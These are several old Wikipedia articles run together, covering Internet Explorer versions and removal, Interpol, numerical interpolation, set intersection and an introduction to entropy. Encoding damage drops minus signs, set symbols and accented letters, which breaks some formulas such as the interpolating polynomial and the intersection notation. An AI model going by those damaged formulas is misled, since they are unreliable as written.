              	3.1/ NT 3.x

              	X

              PPC

              	9

              PPC

              	8

              PPC/68k

              	7

              PPC/68k
            


            
              	Years

              	-

              	-

              	2006

              	2003

              	2001

              	2000

              	2000

              	1998

              	1996

              	1995

              	1992

              	1988

              	2001

              	1999

              	1997

              	1991

              	(1990s)
            


            
              	IE 8

              	2008-

              	Trident VI

              	Beta

              	Beta (with SP2)

              	Beta (with SP2/SP3)

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No
            


            
              	IE 7

              	2006-

              	Trident V

              	Included

              	Yes (with SP1/ SP2)

              	Yes (with SP2/SP3)

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No
            


            
              	IE 6

              	2001

              	Trident IV

              	No

              	Included

              	Included

              	Dropped

              6.0 SP1

              	Dropped

              6.0 SP1

              	Dropped

              6.0 SP1

              	Dropped

              6.0 SP1

              	No

              	No

              	No

              	No

              	No

              	No

              	No

              	No
            


            
              	IE 5.5

              	2000

              	Trident III

              	No

              	No

              	No***

              	Included

              	Yes

              	Yes

              	Yes

              	Dropped

              	No

              	No

              	No

              	No

              	No

              	No

              	No
            


            
              	IE 5.0

              	1999

              	Trident II (Win)

              Tasman (Mac)

              	No

              	No

              	No***

              	No

              	Included

              5.01

              	Included

              	Yes

              	Yes

              	Dropped

              5.0

              	?

              	Dropped

              5.2.3 Included

              	Dropped

              5.1.7 Included

              	Dropped

              5.1.7

              	Dropped

              5.01 SP1
            


            
              	IE 4.0

              	1997

              	Trident

              	No

              	Included

              	Included**

              	Yes

              	No

              	Included

              	Included

              	Yes

              	Yes
            


            
              	IE 3.0

              	1996

              	-

              	No

              	No

              	No***

              	No

              	No ***

              	No

              	Yes

              	Included**

              	Yes

              	Win 3.1 version

              	No

              	No

              	Included

              	Yes

              	Beta
            


            
              	IE 2.0

              	1995

              	-

              	No

              	No

              	No

              	No

              	No

              	No

              	Included

              	Included**

              	Yes

              	No

              	No

              	No

              	Yes

              	No
            


            
              	IE 1.5

              	1996

              	Spyglass

              	No

              	No

              	No

              	No

              	No

              	No

              	Yes

              	Yes

              	No

              	No

              	No

              	No

              	No

              	No

              	No
            


            
              	IE 1.0

              	1995

              	Spyglass

              	No

              	Plus!
            

          


          * Internet Explorer 6 SP2 is only available as part of Windows XP SP2 or Windows Server 2003 SP1 or SP2.

          ** The version of Internet Explorer included with Windows 95 varied by OSR release; 2.0 was included with OSR1, 3.0 was included with OSR2, and 4.0 was included with OSR2.5.

          *** No native support, but possible with third-party "Standalone" installer.


          [bookmark: .22Standalone.22_Internet_Explorer]


          "Standalone" Internet Explorer


          Early versions of Internet Explorer such as 5 had a compatibility mode to run Internet Explorer 4, though this feature was dropped (also MacUsers could still use 4.5 after installing 5). While Microsoft claims it is impossible to keep multiple versions of Internet Explorer on the same machine, some hackers have successfully separated several versions of Internet Explorer, making them standalone applications. These are referred to as "standalone" IEs and have included versions 3 through 7.


          
            	Multiple IEs in Windows Web Design  The web developer Joe Maddalone who found the solution.


            	Multiple Explorers  Downloads of all the versions, originally packaged by Ryan Parman.

          


          Microsoft has discontinued standalone installers for Internet Explorer to the general public. However, there are unofficial procedures for downloading the complete install package. Internet Explorer standalone hacks exploit a known workaround to DLL hell, which was introduced in Windows 2000, called DLL redirection.


          
            	Multiple IEs. An installer for the standalone versions of IE6, IE5.5, IE5.01, IE4.01, and IE3


            	Microsoft Support document, with instructions for downloading the entire set of installation files.

          


          
            [image: Internet Explorer 6 running on Linux in Wine.]

            
              Internet Explorer 6 running on Linux in Wine.
            

          


          It is also possible to install Internet Explorer via Wine.


          
            	IEs4Linux automatically sets up Internet Explorer 5.0, 5.5, and 6.0 in Wine. Supporting Internet Explorer 7 is currently in development; as of August 2007, the IE7 rendering engine can be used with the IE6 user interface.

          


          After Internet Explorer 7 is installed, an Internet Explorer 6 executable is still available in C:\WINDOWS\ie7, hidden by default. Launching this executable provides the user with the older IE6 interface, however web pages are rendered using the IE7 engine. The IE6 engine can be re-enabled by placing a file named "iexplore.exe.local" into the IE7 folder.


          As an alternative to using IE standalone, Microsoft now makes available Microsoft Virtual PC images containing pre-activated copies of Windows XP with either IE 6 or IE 7 installed. Microsoft recommends this approach for web developers seeking to test their pages in the different versions of IE as the standalone versions are unsupported and may not work the same way as a properly installed copy of IE.


          


          Removal


          While a major upgrade of Internet Explorer can be uninstalled in a traditional way if the user has saved the original application files for uninstallation, the matter of uninstalling the version of the browser that has shipped with an operating system remains a controversial one.


          The idea of removing a stock install of Internet Explorer from a Windows system was first proposed during the United States v. Microsoft case. Critics felt that users should have the right to uninstall Internet Explorer freely just like any other application software. One of Microsoft's arguments during the trial was that removing Internet Explorer from Windows may result in system instability.


          The Australian computer scientist Shane Brooks demonstrated that Windows 98 could in fact run with Internet Explorer removed. Brooks went on to develop software designed to customize Windows versions by removing "undesired components", which is known as 98lite. He later created XPLite to support NT based operating systems. Both of these pieces of software can remove IE after the installation of the operating system.


          There are a few popular methods for removing IE from a copy of the Windows install disc so it never touches the user's hard drive. A method developed by Fred Vorck involves the manual removal of IE from installation discs. His process has been automated as a feature of HFSLIP. nLite and HFSLIP are automated programs that allow users to exclude IE and many other Windows components from installation as desired. In some older versions of Windows and in Windows Fundamentals there is an option to install Internet Explorer.


          Removing Internet Explorer does have a number of consequences. Some applications that depend on libraries installed by IE may fail to function, or have unexpected behaviors. Intuit's Quicken is a typical example, which depends heavily upon the HTML rendering components installed by the browser. The Windows help and support system will also not function due to the heavy reliance on HTML help files and components of IE. In versions of Windows before Vista, it is also not possible to run Microsoft's Windows Update or Microsoft Update with any other browser due to the service's implementation of an ActiveX control, which no other browser supports. In Windows Vista, Windows Update is implemented as a Control Panel applet.


          
            Retrieved from " http://en.wikipedia.org/wiki/Internet_Explorer"
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              	International Criminal Police Organization
            


            
              	Common name

              	Interpol
            


            
              	Abbreviation

              	ICPO
            


            
              	
                
                  [image: ]
                

              
            


            
              	Logo of the International Criminal Police Organization.
            


            
              	Agency Overview
            


            
              	Formed

              	1923
            


            
              	Legal personality

              	Governmental agency
            


            
              	Jurisdictional Structure
            


            
              	International agency

              	
            


            
              	Countries

              	186 member states
            


            
              	Governing body

              	Interpol General Assembly
            


            
              	Constituting instrument

              	ICPO-INTERPOL Constitution and General Regulations
            


            
              	General nature

              	
                
                  	Civilian agency

                

              
            


            
              	Operational Structure
            


            
              	Headquarters

              	200, quai Charles de Gaulle, Lyon, France
            


            
              	Multinational agency

              	
            


            
              	Nationalities of personnel

              	Various
            


            
              	Agency executives

              	
                
                  	[image: Flag of the United States] Ronald Noble, Secretary General

                

              
            


            
              	Facilities
            


            
              	National Central Bureaus

              	186
            


            
              	Website
            


            
              	http://www.interpol.int/
            


            
              	Footnotes
            


            
              	
                
                  
                    languages (4)
                  


                  
                    Arabic

                    English

                    French

                    Spanish
                  

                

              
            


            
              	
            

          


          
            
              [image: Interpol (Earth)]


              
                [image: Interpol]


                

              

            


            
              Location of Interpol headquarters in Lyon
            

          


          The International Criminal Police Organization, better known by its telegraphic address Interpol, is an organization facilitating international police cooperation. It was established as the International Criminal Police Commission in 1923 and adopted its telegraphic address as its name in 1956. It should not be confused with the International Police, which takes on an active uniformed role in policing war-torn countries.


          Its membership of 186 countries provides finance of around US$59 million through annual contributions. (By comparison, Europol receives $90 million annually.) The organization's headquarters are in Lyon, France.


          Its current Secretary-General is Ronald Noble, formerly of the United States Treasury. Noble is the first non-European to hold the position of Secretary-General. Jackie Selebi, National Commissioner of the South African Police Service, was president from 2004 but resigned on January 13, later being charged in South Africa on three counts of corruption and one of defeating the course of justice. He was replaced by Arturo Herrera Verdugo, current National Commissioner of Polica de Investigaciones de Chile and former Vicepresident for the American Zone, who will remain acting president until the next organization meeting, in October 2008.


          In order to maintain as politically neutral a role as possible, Interpol's constitution forbids its involvement in crimes that do not overlap several member countries, or in any political, military, religious, or racial crimes. Its work focuses primarily on public safety, terrorism, organized crime, war crimes, illicit drug production, drug trafficking, weapons smuggling, human trafficking, money laundering, child pornography, white-collar crime, computer crime, intellectual property crime and corruption.


          In 2005, the Interpol General Secretariat employed a staff of 502, representing 78 member countries. Women comprised 42 percent of the staff. The Interpol public website received an average of 2.2 million page visits every month. Interpol's red notices that year led to the arrests of 3,500 people.


          


          History


          Interpol was founded in Austria in 1923 as the International Criminal Police (ICP). Following the Anschluss (Austria's annexation by Nazi Germany) in 1938, the organization fell under the control of Nazi Germany and the Commission's headquarters were eventually moved to Berlin in 1942. It is unclear, however, if and to what extent the ICPC files were used to further the goals of the Nazi regime.


          After the end of World War II in 1945, the organization was revived, as the International Criminal Police Organization, by European Allies of World War II officials from Belgium, France, Scandinavia and the United Kingdom. Its new headquarters were established in Saint-Cloud, a town on the outskirts of Paris. They remained there until 1989, when they were moved to their present location, Lyon.


          


          Methodology


          Each member country maintains a National Central Bureau (NCB) staffed by national law enforcement officers. The NCB is the designated contact point for the Interpol General Secretariat, regional bureaus and other member countries requiring assistance with overseas investigations and the location and apprehension of fugitives. This is especially important in countries which have many law-enforcement agencies: this central bureau is a unique point of contact for foreign entities, which may not understand the complexity of the law-enforcement system of the country they attempt to contact. For instance, the NCB for the United States of America is housed at the United States Department of Justice (DOJ). The NCB will then ensure the proper transmission of information to the correct agency.


          Interpol maintains a large database charting unsolved crimes and both convicted and alleged criminals. At any time, a member nation has access to specific sections of the database and its police forces are encouraged to check information held by Interpol whenever a major crime is committed. The rationale behind this is that drug traffickers and similar criminals have international ties, and so it is likely that crimes will extend beyond political boundaries.


          In 2002, Interpol began maintaining a database of lost and stolen identification and travel documents, allowing member countries to be alerted to the true nature of such documents when presented. Passport fraud, for example, is often performed by altering a stolen passport; in response, several member countries have worked to make online queries into the stolen document database part of their standard operating procedure in border control departments. As of early 2006, the database contained over ten million identification items reported lost or stolen, and is expected to grow more as more countries join the list of those reporting into the database.


          A member nation's police force can contact one or more member nations by sending a message relayed through Interpol offices.


          


          Member states and sub-bureaus


          Sub-bureaus shown in italics.


          
            
              
                	
                  [image: Flag of Costa Rica]Costa Rica

                  [image: Flag of C�te d'Ivoire]Cte d'Ivoire

                  [image: Flag of Cuba]Cuba

                

                	

                	
                  [image: Flag of Laos]Laos

                

                	

                	
                  [image: Flag of Romania]Romania

                

                	

                	
                  [image: Flag of Saint Vincent and the Grenadines]St. Vincent and the Grenadines

                  [image: Flag of S�o Tom� and Pr�ncipe]So Tom and Prncipe

                  [image: Flag of Zimbabwe]Zimbabwe

                

                	
                  


                
              

            

          


          


          Non-member countries


          
            [image: Flag of the Vatican City]Vatican City


          


          


          Secretaries-general and presidents


          Secretaries-general since organization's inception in 1923:


          
            
              	[image: Flag of Austria] Oskar Dressler

              	to 1946
            


            
              	[image: Flag of France] Louis Ducloux

              	to 1951
            


            
              	[image: Flag of France] Marcel Sicot

              	to 1963
            


            
              	[image: Flag of France] Jean Npote

              	to 1978
            


            
              	[image: Flag of France] Andr Bossard

              	to 1985
            


            
              	[image: Flag of the United Kingdom] Raymond Kendall

              	to 2000
            


            
              	[image: Flag of the United States] Ronald Noble

              	since 2000
            

          


          

          Presidents since organization's inception in 1923:


          
            
              	
                
                  
                    	[image: Flag of Austria] Johann Schober

                    	to 1932
                  


                  
                    	[image: Flag of Austria] Franz Brandl

                    	to 1934
                  


                  
                    	[image: Flag of Austria] Eugen Seydel

                    	to 1935
                  


                  
                    	[image: Flag of Austria] Michael Skubl

                    	to 1938
                  


                  
                    	[image: Flag of Nazi Germany] Otto Steinhusl

                    	to 1940
                  


                  
                    	[image: Flag of Nazi Germany] Reinhard Heydrich

                    	to 1942
                  


                  
                    	[image: Flag of Nazi Germany] Artur Nebe

                    	to 1943
                  


                  
                    	[image: Flag of Nazi Germany] Ernst Kaltenbrunner

                    	to 1945
                  


                  
                    	[image: Flag of Belgium] Florent Louwage

                    	to 1956
                  


                  
                    	[image: Flag of Portugal] Agostinho Loureno

                    	to 1960
                  


                  
                    	[image: Flag of the United Kingdom] Richard Jackson

                    	to 1963
                  


                  
                    	[image: Flag of Finland] Fjalar Jarva

                    	to 1964
                  


                  
                    	[image: Flag of Belgium] Firmin Franssen

                    	to 1968
                  


                  
                    	[image: Flag of West Germany] Paul Dickopf

                    	to 1972
                  


                  
                    	[image: Flag of Canada] William Leonard Higgitt

                    	to 1976
                  


                  
                    	[image: Flag of Sweden] Carl Persson

                    	to 1980
                  


                  
                    	[image: Flag of the Philippines] Jolly Bugarin

                    	to 1984
                  


                  
                    	[image: Flag of the United States] John Simpson

                    	to 1988
                  


                  
                    	[image: Flag of France] Ivan Barbot

                    	to 1992
                  


                  
                    	[image: Flag of Canada] Norman Inkster

                    	to 1994
                  


                  
                    	[image: Flag of Sweden] Bjrn Eriksson

                    	to 1996
                  


                  
                    	[image: Flag of Japan] Toshinori Kanemoto

                    	to 2000
                  


                  
                    	[image: Flag of Spain] Jess Espigares Mira

                    	to 2004
                  


                  
                    	[image: Flag of South Africa] Jackie Selebi

                    	to 2008
                  


                  
                    	[image: Flag of Chile] Arturo Herrera Verdugo

                    	acting president until the General Assembly in Sankt Petersburg in October 2008, and candidate for the President on that General Assembly
                  

                
 In some works of fiction, Interpol officers are seen conducting investigations in member countries. However, this is a highly fictionalized version of the operations of Interpol. Its main role is the passing on of information, not actual law enforcement.

                Many television programs, films, and other media have featured Interpol agents, either in a fictionalized form or more true-to-life.


                Examples


                Television


                
                  	Richard Wyler played the title role of the Man From Interpol 1958-59 British TV series that was shown on NBC in 1960.


                  	Inspector Gadget is an agent of Interpol.


                  	In the show Sealab 2021 Quin calls Interpol to find information on a fraudster named Master Lu.


                  	In the 2007 season of LOST, an Interpol report is seen when it is discovered that is has been filed against one of the main characters.


                  	In the anime Azumanga Daioh, the character Tomo Takino wants to be an Interpol agent in the future.


                  	In the show Batman Beyond which takes place in the mid-21st century, Interpol is mentioned in reference to its criminal database.


                  	The Goon Show made a few references to Interpol throughout its run in the 1950s.


                  	Department S was a British TV series about a fictional Special investigation department of Interpol.


                  	In Psych Shawn Spencer pretends to be an Interpol agent.


                  	In the anime One Piece exist an association Named Cipher Pol.


                  	The logo of the Terran Empire within Star Trek's Mirror Universe resembles that used by Interpol.

                


                

                


                Film


                
                  	In the comedy film Johnny English, it is eventually revealed that Lorna Campbell ( Natalie Imbruglia) is an Interpol agent spying on Pascal Sauvage.


                  	In the movie Lord of War, Jack Valentine ( Ethan Hawke) is an Interpol officer.


                  	In the movie Mission: Impossible III, Ethan Hunt ( Tom Cruise) is told he is on Interpol's Most Wanted list.


                  	In the Indian movie Don starring Shah Rukh Khan, the Interpol is trying to capture Don.


                  	The protagonists in the film The Medallion are agents of Interpol.


                  	In the movie Assassins an interpol agent is shot by Antonio Banderas


                  	In the movie Hitman (2007), Agent 47 is chased by two Interpol agents.


                  	In the movie "Eye of the Beholder" Ewan McGergor works for Interpol

                


                Books


                
                  	In the book and movie The Da Vinci Code, Interpol is mentioned several times, mainly in reference to their extensive database of information.


                  	In the book Artemis Fowl: The Arctic Incident one of the antagonists notes to his companions that the protagonist, Artemis Fowl, has an Interpol file.


                  	In the novels of Chris Kuzneski, Nick Dial is the director of the fictitious homicide division of Interpol. Dial made his first appearance in Sign of the Cross and was also featured in Sword of God and The Lost Throne.

                


                Games


                
                  	In Capcom's Street Fighter video game franchise (and many of its adaptations to other media), Chun-Li is an agent of Interpol.


                  	In the original Where in the World is Carmen Sandiego? game from 1985, the user worked for Interpol. Later Carmen Sandiego media instead featured the fictional Interpol-esque ACME Detective Agency.


                  	In the game Resident Evil: Code Veronica X, Chris Redfield from S.T.A.R.S. is working with an Interpol officer before he turns to Anti Umbrella Activism.


                  	Bryan Fury in Tekken 3 had been an American Interpol officer before he was turned to a cyborg after being shot by gunmen in a shootout in Hong Kong. Likewise, Lei Wulong is a Hong Kong Interpol officer.


                  	In the game Apollo Justice: Ace Attorney, one of the victims in a case that protagonist Apollo Justice is faced against is an Interpol officer.


                  	In Vigilante 8: Second Offense Agent Chase works for CHRONOPOL, an Interpol for time.


                  	In the Sly Cooper series, Carmelita Fox and a few other characters are Interpol officers.

                

              
            

          


          
            Retrieved from " http://en.wikipedia.org/wiki/Interpol"
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        Interpolation


        
          

          In the mathematical subfield of numerical analysis, interpolation is a method of constructing new data points within the range of a discrete set of known data points.


          In engineering and science one often has a number of data points, as obtained by sampling or experiment, and tries to construct a function which closely fits those data points. This is called curve fitting or regression analysis. Interpolation is a specific case of curve fitting, in which the function must go exactly through the data points.


          A different problem which is closely related to interpolation is the approximation of a complicated function by a simple function. Suppose we know the function but it is too complex to evaluate efficiently. Then we could pick a few known data points from the complicated function, creating a lookup table, and try to interpolate those data points to construct a simpler function. Of course, when using the simple function to calculate new data points we usually do not receive the same result as when using the original function, but depending on the problem domain and the interpolation method used the gain in simplicity might offset the error.


          It should be mentioned that there is another very different kind of interpolation in mathematics, namely the " interpolation of operators". The classical results about interpolation of operators are the Riesz-Thorin theorem and the Marcinkiewicz theorem. There also are many other subsequent results.


          


          Definition


          From inter meaning between and pole, the points or nodes. Any means of calculating a new point between two existing data points is therefore interpolation.


          There are many methods for doing this, many of which involve fitting some sort of function to the data and evaluating that function at the desired point. This does not exclude other means such as statistical methods of calculating interpolated data.


          The simplest form of interpolation is to take the mean average of x and y of two adjacent points to find the mid point. This will give the same result as linear interpolation evaluated at the midpoint.


          Given a sequence of n distinct numbers xk called nodes and for each xk a second number yk, we are looking for a function f so that


          
            	[image: f(x_k) = y_k \mbox{ , } k=1,\ldots,n]

          


          A pair xk,yk is called a data point and f is called an interpolant for the data points.


          When the numbers yk are given by a known function f, we sometimes write fk.


          


          Example


          For example, suppose we have a table like this, which gives some values of an unknown function f.


          
            [image: Plot of the data points as given in the table.]

            
              Plot of the data points as given in the table.
            

          


          
            
              	

              	x

              	

              	f(x)
            


            
              	

              	0

              	

              	0
            


            
              	

              	1

              	

              	0

              	.

              	8415
            


            
              	

              	2

              	

              	0

              	.

              	9093
            


            
              	

              	3

              	

              	0

              	.

              	1411
            


            
              	

              	4

              	

              	0

              	.

              	7568
            


            
              	

              	5

              	

              	0

              	.

              	9589
            


            
              	

              	6

              	

              	0

              	.

              	2794
            

          


          Interpolation provides a means of estimating the function at intermediate points, such as x=2.5.


          There are many different interpolation methods, some of which are described below. Some of the concerns to take into account when choosing an appropriate algorithm are: How accurate is the method? How expensive is it? How smooth is the interpolant? How many data points are needed?



          


          Piecewise constant interpolation


          
            [image: Piecewise constant interpolation, or nearest neighbor interpolation.]

            
              Piecewise constant interpolation, or nearest neighbour interpolation.
            

          


          The simplest interpolation method is to locate the nearest data value, and assign the same value. In one dimension, there are seldom good reasons to choose this one over linear interpolation, which is almost as cheap, but in higher dimensions, in multivariate interpolation, this can be a favourable choice for its speed and simplicity.



          


          Linear interpolation


          
            [image: Plot of the data with linear interpolation superimposed]

            
              Plot of the data with linear interpolation superimposed
            

          


          One of the simplest methods is linear interpolation (sometimes known as lerp). Consider the above example of determining f(2.5). Since 2.5 is midway between 2 and 3, it is reasonable to take f(2.5) midway between f(2) = 0.9093 and f(3) = 0.1411, which yields 0.5252.


          Generally, linear interpolation takes two data points, say (xa,ya) and (xb,yb), and the interpolant is given by:


          
            	[image:  y = y_a + \frac{(x-x_a)(y_b-y_a)}{(x_b-x_a)} ] at the point (x,y).

          


          Linear interpolation is quick and easy, but it is not very precise. Another disadvantage is that the interpolant is not differentiable at the point xk.


          The following error estimate shows that linear interpolation is not very precise. Denote the function which we want to interpolate by g, and suppose that x lies between xa and xb and that g is twice continuously differentiable. Then the linear interpolation error is


          
            	[image:  |f(x)-g(x)| \le C(x_b-x_a)^2 \quad\mbox{where}\quad C = \frac18 \max_{y\in[x_a,x_b]} |g''(y)|. ]

          


          In words, the error is proportional to the square of the distance between the data points. The error of some other methods, including polynomial interpolation and spline interpolation (described below), is proportional to higher powers of the distance between the data points. These methods also produce smoother interpolants.



          


          Polynomial interpolation


          
            [image: Plot of the data with polynomial interpolation applied]

            
              Plot of the data with polynomial interpolation applied
            

          


          Polynomial interpolation is a generalization of linear interpolation. Note that the linear interpolant is a linear function. We now replace this interpolant by a polynomial of higher degree.


          Consider again the problem given above. The following sixth degree polynomial goes through all the seven points:


          
            	f(x) =  0.0001521x6  0.003130x5 + 0.07321x4  0.3577x3 + 0.2255x2 + 0.9038x.

          


          Substituting x = 2.5, we find that f(2.5) = 0.5965.


          Generally, if we have n data points, there is exactly one polynomial of degree at most n1 going through all the data points. The interpolation error is proportional to the distance between the data points to the power n. Furthermore, the interpolant is a polynomial and thus infinitely differentiable. So, we see that polynomial interpolation solves all the problems of linear interpolation.


          However, polynomial interpolation also has some disadvantages. Calculating the interpolating polynomial is relatively very computationally expensive (see computational complexity). Furthermore, polynomial interpolation may not be so exact after all, especially at the end points (see Runge's phenomenon). These disadvantages can be avoided by using spline interpolation.



          


          Spline interpolation


          
            [image: Plot of the data with Spline interpolation applied]

            
              Plot of the data with Spline interpolation applied
            

          


          Remember that linear interpolation uses a linear function for each of intervals [xk,xk+1]. Spline interpolation uses low-degree polynomials in each of the intervals, and chooses the polynomial pieces such that they fit smoothly together. The resulting function is called a spline.


          For instance, the natural cubic spline is piecewise cubic and twice continuously differentiable. Furthermore, its second derivative is zero at the end points. The natural cubic spline interpolating the points in the table above is given by


          
            	[image:  f(x) = \left\{ \begin{matrix} -0.1522 x^3 + 0.9937 x, & \mbox{if } x \in [0,1], \ -0.01258 x^3 - 0.4189 x^2 + 1.4126 x - 0.1396, & \mbox{if } x \in [1,2], \ 0.1403 x^3 - 1.3359 x^2 + 3.2467 x - 1.3623, & \mbox{if } x \in [2,3], \ 0.1579 x^3 - 1.4945 x^2 + 3.7225 x - 1.8381, & \mbox{if } x \in [3,4], \ 0.05375 x^3 -0.2450 x^2 - 1.2756 x + 4.8259, & \mbox{if } x \in [4,5], \ -0.1871 x^3 + 3.3673 x^2 - 19.3370 x + 34.9282, & \mbox{if } x \in [5,6]. \ \end{matrix} \right. ]

          


          In this case we get f(2.5)=0.597262.


          Like polynomial interpolation, spline interpolation incurs a smaller error than linear interpolation and the interpolant is smoother. However, the interpolant is easier to evaluate than the high-degree polynomials used in polynomial interpolation. It also does not suffer from Runge's phenomenon.



          



          


          Other forms of interpolation


          Other forms of interpolation can be constructed by picking a different class of interpolants. For instance, rational interpolation is interpolation by rational functions, and trigonometric interpolation is interpolation by trigonometric polynomials. The discrete Fourier transform is a special case of trigonometric interpolation. Another possibility is to use wavelets.


          The WhittakerShannon interpolation formula can be used if the number of data points is infinite.


          Multivariate interpolation is the interpolation of functions of more than one variable. Methods include bilinear interpolation and bicubic interpolation in two dimensions, and trilinear interpolation in three dimensions.


          Sometimes, we know not only the value of the function that we want to interpolate, at some points, but also its derivative. This leads to Hermite interpolation problems.


          


          Related concepts


          The term extrapolation is used if we want to find data points outside the range of known data points.


          In curve fitting problems, the constraint that the interpolant has to go exactly through the data points is relaxed. It is only required to approach the data points as closely as possible. This requires parameterizing the potential interpolants and having some way of measuring the error. In the simplest case this leads to least squares approximation.


          Approximation theory studies how to find the best approximation to a given function by another function from some predetermined class, and how good this approximation is. This clearly yields a bound on how well the interpolant can approximate the unknown function.


          
            Retrieved from " http://en.wikipedia.org/wiki/Interpolation"
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        Intersection (set theory)


        
          

          In mathematics, the intersection of two sets A and B is the set that contains all elements of A that also belong to B (or equivalently, all elements of B that also belong to A), but no other elements.


          For explanation of the symbols used in this article, refer to the table of mathematical symbols.


          


          Basic definition


          
            [image: The intersection of A and B]

            
              The intersection of A and B
            

          


          The intersection of A and B is written "A  B". Formally:


          
            	
              x is an element of A  B if and only if

              
                	x is an element of A and


                	x is an element of B.

              

            


            	
              For example:

              
                	The intersection of the sets {1, 2, 3} and {2, 3, 4} is {2, 3}.


                	The number 9 is not in the intersection of the set of prime numbers {2, 3, 5, 7, 11, } and the set of odd numbers {1, 3, 5, 7, 9, 11, }.

              

            

          


          If the intersection of two sets A and B is empty, that is they have no elements in common, then they are said to be disjoint, denoted: A  B=. For example the sets {1, 2} and {3, 4} are disjoint, written

          {1, 2}  {3, 4}=.


          More generally, one can take the intersection of several sets at once. The intersection of A, B, C, and D, for example, is A  B  C  D= A  (B  (C  D)). Intersection is an associative operation; thus,

          A  (B  C)= (A  B)  C.


          


          Arbitrary intersections


          The most general notion is the intersection of an arbitrary nonempty collection of sets. If M is a nonempty set whose elements are themselves sets, then x is an element of the intersection of M if and only if for every element A of M, x is an element of A. In symbols:


          
            	[image: \left( x \in \bigcap \mathbf{M} \right) \leftrightarrow \left( \forall A \in \mathbf{M}. \ x \in A \right).]

          


          This idea subsumes the above paragraphs, in that for example, A  B  C is the intersection of the collection {A,B,C}.


          The notation for this last concept can vary considerably. Set theorists will sometimes write "M", while others will instead write "AMA". The latter notation can be generalized to "iIAi", which refers to the intersection of the collection {Ai: iI}. Here I is a nonempty set, and Ai is a set for every i in I.


          In the case that the index set I is the set of natural numbers, you might see notation analogous to that of an infinite series:


          
            	[image: \bigcap_{i=1}^{\infty} A_i.]

          


          When formatting is difficult, this can also be written "A1 A2 A3 ...", even though strictly speaking, A1 (A2 (A3 ... makes no sense. (This last example, an intersection of countably many sets, is actually very common; for an example see the article on -algebras.)


          Finally, let us note that whenever the symbol "" is placed before other symbols instead of between them, it should be of a larger size (⋂).


          


          Nullary intersection


          Note that in the previous section we excluded the case where M was the empty set (). The reason is as follows. The intersection of the collection M is defined as the set (see set-builder notation)


          
            	[image: \bigcap \mathbf{M} = \{x�: x \in A\; \mbox{ for all } A \in \mathbf{M}\}.]

          


          If M is empty there are no sets A in M, so the question becomes "which x's satisfy the stated condition?" The answer seems to be every possible x. When M is empty the condition given above is an example of a vacuous truth. So the intersection of the empty family should be the "set of everything". The problem is, there is no such set. Assuming such a set exists leads to a famous problem in naive set theory known as Russell's paradox. For this reason the intersection of the empty set is left undefined.


          A partial fix for this problem can be found if we agree to restrict our attention to subsets of a fixed set U called the universe. In this case the intersection of a family of subsets of U can be defined as


          
            	[image: \bigcap \mathbf{M} = \{x \in U�: x \in A\; \mbox{ for all } A \in \mathbf{M}\}.]

          


          Now if M is empty there is no problem. The intersection is just the entire universe U, which is a well-defined set by assumption.
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        Introduction to entropy


        
          

          



          Thermodynamic entropy provides a measure of certain aspects of energy in relation to absolute temperature. In thermodynamics, entropy is one of the three basic thermodynamic potentials U ( internal energy), S (entropy) and A ( Helmholtz energy). Entropy is a measure of the uniformity of the distribution of energy.


          


          Explanation


          The concept of thermodynamic entropy is central to the second law of thermodynamics, which deals with physical processes and whether they occur spontaneously. In a general sense the second law says that temperature differences between systems in contact with each other tend to even out and that work can be obtained from these non-equilibrium differences, but that loss of heat occurs, in the form of entropy, when work is done.


          The concept of energy is central to the first law of thermodynamics, which deals with the conservation of energy and under which the loss in heat will result in a decrease in the internal energy of the thermodynamic system. Thermodynamic entropy provides a comparative measure of the amount of this decrease in internal energy of the system and the corresponding increase in internal energy of the surroundings at a given temperature. A simple and more concrete visualisation of the second law is that energy of all types changes from being localized to becoming dispersed or spread out, if it is not hindered from doing so. Entropy change is the quantitative measure of that kind of a spontaneous process: how much energy has flowed or how widely it has become spread out at a specific temperature.


          Entropy has been developed to describe any of several phenomena, depending on the field and the context in which it is being used. Information entropy takes the mathematical concepts of statistical thermodynamics into areas of probability theory unconnected with heat and energy.


          Entropy is an integral part of the second law of thermodynamics, which can be stated as saying that:


          
            Temperature differences between thermodynamic systems in contact with each other tend to even out and that work can be obtained from these non-equilibrium differences, but that loss of heat occurs, in the form of entropy, when work is done

          


          In this form it provides a measure of the extent to which a heat engine can never completely recycle unused heat into work as a perpetual motion machine might, but will always convert some of the heat into internal energy due to intermolecular interactions, which is not available to do work. Entropy also relates to all kinds of energy and to other fields of science such as chemistry, where the entropy of materials measures the energy required to raise the material to its state at a given temperature from absolute zero.


          In calculations, entropy is symbolised by S and is a measure at a particular instant, a state function. Thus entropy as energy Q in relation to absolute temperature T is expressed as S = Q/T. Often change in entropy, symbolised by S, is referred to in relation to change in energy, Q.


          Statistical mechanics introduces calculation of entropy using probability theory to find the number of possible microstates at an instant, any one of which will contain all the energy of the system at that instant. The calculation shows the probability, which is enabled by the energy: in terms of heat, by the motional energy of molecules. Statistical mechanical entropy is mathematically similar to Shannon entropy which is part of information theory, where energy is not involved. This similarity means that some probabilistic aspects of thermodynamics are replicated in information theory.


          
            [image: Ice melting provides an example of entropy increasing]

            
              Ice melting provides an example of entropy increasing
            

          


          


          Example of entropy increasing


          Ice melting provides a classic example in which entropy increases in a small 'universe', a thermodynamic system consisting of the 'surroundings' (the warm room) and the 'system' of glass, ice, cold water which has been allowed to reach thermodynamic equilibrium at the melting temperature of ice. In this universe, some heat energy Q from the warmer room surroundings at 298 K (77F, 25C) will spread out to the cooler system of ice and water at its constant temperature T of 273 K (32F, 0C), the melting temperature of ice. Thus, the entropy of the system, which is Q/T, increases by Q/273 K. (The heat Q for this process is the energy required to change water from the solid state to the liquid state, and is called the enthalpy of fusion, i.e. the H for ice fusion.)


          It is important to realize that the entropy of the surrounding room decreases less than the entropy of the ice and water increases: the room temperature of 298 K is larger than 273 K and therefore the ratio, (entropy change), of Q/298 K for the surroundings is smaller than the ratio (entropy change), of Q/273 K for the ice+water system. This is always true in spontaneous events in a thermodynamic system and it shows the predictive importance of entropy: the final net entropy after such an event is always greater than was the initial entropy.


          As the temperature of the cool water rises to that of the room and the room further cools imperceptibly, the sum of the Q/T over the continuous range, at many increments, in the initially cool to finally warm water can be found by calculus. The entire miniature universe, i.e. this thermodynamic system, has increased in entropy. Energy has spontaneously become more dispersed and spread out in that universe than when the glass of ice + water was introduced and became a 'system' within it.


          


          Origins and uses


